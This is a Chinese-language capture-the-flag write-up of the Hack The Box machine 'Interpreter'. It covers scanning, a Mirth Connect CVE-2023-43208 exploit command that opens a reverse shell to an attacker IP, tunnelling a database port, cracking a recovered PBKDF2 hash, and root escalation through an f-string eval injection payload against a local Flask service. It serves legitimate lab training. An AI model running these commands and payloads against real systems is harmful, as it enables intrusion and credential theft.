hackthebox-Interpreter
hackthebox-Interpreter
入口
fscan 扫描
start infoscan
10.129.244.184:22 open
10.129.244.184:80 open
10.129.244.184:443 open
[*] alive ports len is: 3
start vulscan
[*] WebTitle http://10.129.244.184 code:200 len:2532 title:Mirth Connect Administrator
[*] WebTitle https://10.129.244.184 code:200 len:2532 title:Mirth Connect Administrator
已完成 3/3
[*] 扫描结束,耗时: 1m17.520557498s
存在 ssh 和 http/https
针对 nextgen mirth connect 搜索发现 CVE-2023-43208
https://github.com/kyakei/CVE-2023-43208
这个 cve 的要求是版本在 4.4.1 以下,可以通过端点/api/server/version 查看

直接 404 了,尝试后发现需要通过 https 访问

按照要求添加请求头,内容可以随意

发现版本符合要求,直接利用脚本打 shell
python3 exploit.py shell -t https://10.129.244.184 --lhost 10.10.17.248 --lport 9999
存在 python3,可以上 full tty

user token
尝试找到 user flag,发现权限很低,直接上 linPEAS 做一下枚举
主要发现两个点

一个是 dirtyfrag 可用,但是肯定不是预期
另一个是疑似存在 capabilities 提权,check it check it
getcap -r / 2>/dev/null

似乎并没有,那说明不是常规提权手段,需要关注一下服务啥的

发现有 mysql,但是这几个文件都没有什么有用信息
继续找,发现我们连进去的目录下面就有 mirth 的配置信息

其中包含一个数据库信息
database.url = jdbc:mariadb://localhost:3306/mc_bdd_prod
database.username = mirthdb
database.password = MirthPass123!
我们可以尝试将 3306 代理出去,然后通过 MUDT 来连接数据库
本机
.\iox.exe proxy -l 9995 -l 1080
靶机
./iox proxy -r 10.10.17.248:9995 &
随后配置好 Proxifier,使用 MUDT 连接数据库,注意这里服务器的 mariaDB 没有开启允许公钥检索,需要给 MUDT 的 JDBCurl 加上 allowPublicKeyRetrieval=true

连上了之后做 udf 提权又报错了,不知何意味,这就很蛋疼了,只能采用一般的工具去连了。我这里用的是 DBeaver,主要有一个图形化界面会舒服一点,也可以直接用 mysql 去连
连接后查看内容,在表 Person 中可以得到一组用户信息
sedric
u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==
到这里就很蛋疼了,我们没办法确定这个密码的加密方式,即便知道也很难确定其加密参数,找了一些别的路径也没什么想法,所以到这里就去网上翻阅了 wp
最终了解到,由于这里是 mirth 存储账密的数据库,因此可以直接到 mirh 的源码里找线索,而其中我们所需的的加密部分在:
有代码就很简单了,我们让 ai 帮忙分析一下即可。简单来说,就是利用 8 字节的盐进行 600k 次 PBKDF2-WithHmac-SHA256 加密,最后得到 32 字节哈希值,以盐 + 哈希的形式 base64。因此难以直接恢复,可以尝试通过 hashcat 进行爆破
首先需要将盐和哈希分离出来,然后拼成 hashcat 所需的哈希格式
echo "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==" | base64 -d > raw.bin
xxd -p -l 8 raw.bin | xxd -r -p | base64 -w0 > salt.b64
xxd -p -s 8 raw.bin | xxd -r -p | base64 -w0 > hash.b64
echo "sha256:600000:$(cat salt.b64):$(cat hash.b64)" > pwd.hash
得到的结果形如
sha256:600000:bbff8b0413949da7:62c8506c30ea080cf2db511d2b939f641243d4d7b8ad76b55603f90b32ddf0fb
随后使用 hashcat 10900 模块进行爆破,这里是加盐的,所以只能字典了
hashcat -m 10900 pwd.hash rockyou.txt

得到密码明文
sedric
snowflake1
随后尝试通过 ssh 登录

拿到 user token
root token
随后又是提权的操作,继续上 linpeas
我们发现存在我们可达的 root 文件,其中一个是 user token,另一个就很可疑了

在进程中同样可以看到这个文件在运行,我们看一下内容
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os
app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)
def template(first, last, sender, ts, dob, gender):
pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
for s in [first, last, sender, ts, dob, gender]:
if not pattern.fullmatch(s):
return "[INVALID_INPUT]"
# DOB format is DD/MM/YYYY
try:
year_of_birth = int(dob.split('/')[-1])
if year_of_birth < 1900 or year_of_birth > datetime.now().year:
return "[INVALID_DOB]"
except:
return "[INVALID_DOB]"
template = f"Patient {first} {last} ({gender}), {{datetime.now().year - year_of_birth}} years old, received from {sender} at {ts}"
try:
return eval(f"f'''{template}'''")
except Exception as e:
return f"[EVAL_ERROR] {e}"
@app.route("/addPatient", methods=["POST"])
def receive():
if request.remote_addr != "127.0.0.1":
abort(403)
try:
xml_text = request.data.decode()
xml_root = ET.fromstring(xml_text)
except ET.ParseError:
return "XML ERROR\n", 400
patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
if patient is None:
return "No <patient> tag found\n", 400
id = uuid.uuid4().hex
data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
path = os.path.join(USER_DIR,f"{id}.txt")
with open(path,"w") as f:
f.write(notification+"\n")
return notification
if __name__=="__main__":
app.run("127.0.0.1",54321, threaded=True)
一个不知道干啥用的通知服务,template 函数有一个 eval,会做一个动态的 fstring。这里就可以利用做拼接。
有一个正则匹配,但是放行了{},可以利用 fstring 的{}语法来执行任意语句
传参在 /addPatient 路由,需要构造 xml 格式
<patient>
<firstname>{__import__("os").popen("id").read()}</firstname>
<lastname>test</lastname>
<sender_app>test</sender_app>
<timestamp>20260611</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>
写个脚本发包
import requests
url = "http://127.0.0.1:54321/addPatient"
xml_data = """<patient>
<firstname>{__import__("os").popen("id").read()}</firstname>
<lastname>test</lastname>
<sender_app>test</sender_app>
<timestamp>20260611</timestamp>
<birth_date>01/01/2000</birth_date>
<gender>M</gender>
</patient>"""
resp = requests.post(url, data=xml_data)
print(resp.text)

如果需要有空格的命令,可以尝试用 python 的 base64 模块解码执行
这里直接读文件,拿下 root token
{open('/root/root.txt').read()}

简单总结一下,这台 linux 的机子说简单也算不上,说难也不算难,很难说其中有一个具体的什么知识点,主要是考察枚举有没有做到位。之前在一个公众号文章看到一个观点:卡住了不是技术不行,而是枚举没做完。这个在这台靶机上是深有体会的,尤其是 linux 靶机自身的提权点不多,更加多的会考察各种服务上的缺陷,这也是需要多多积累的。

浙公网安备 33010602011771号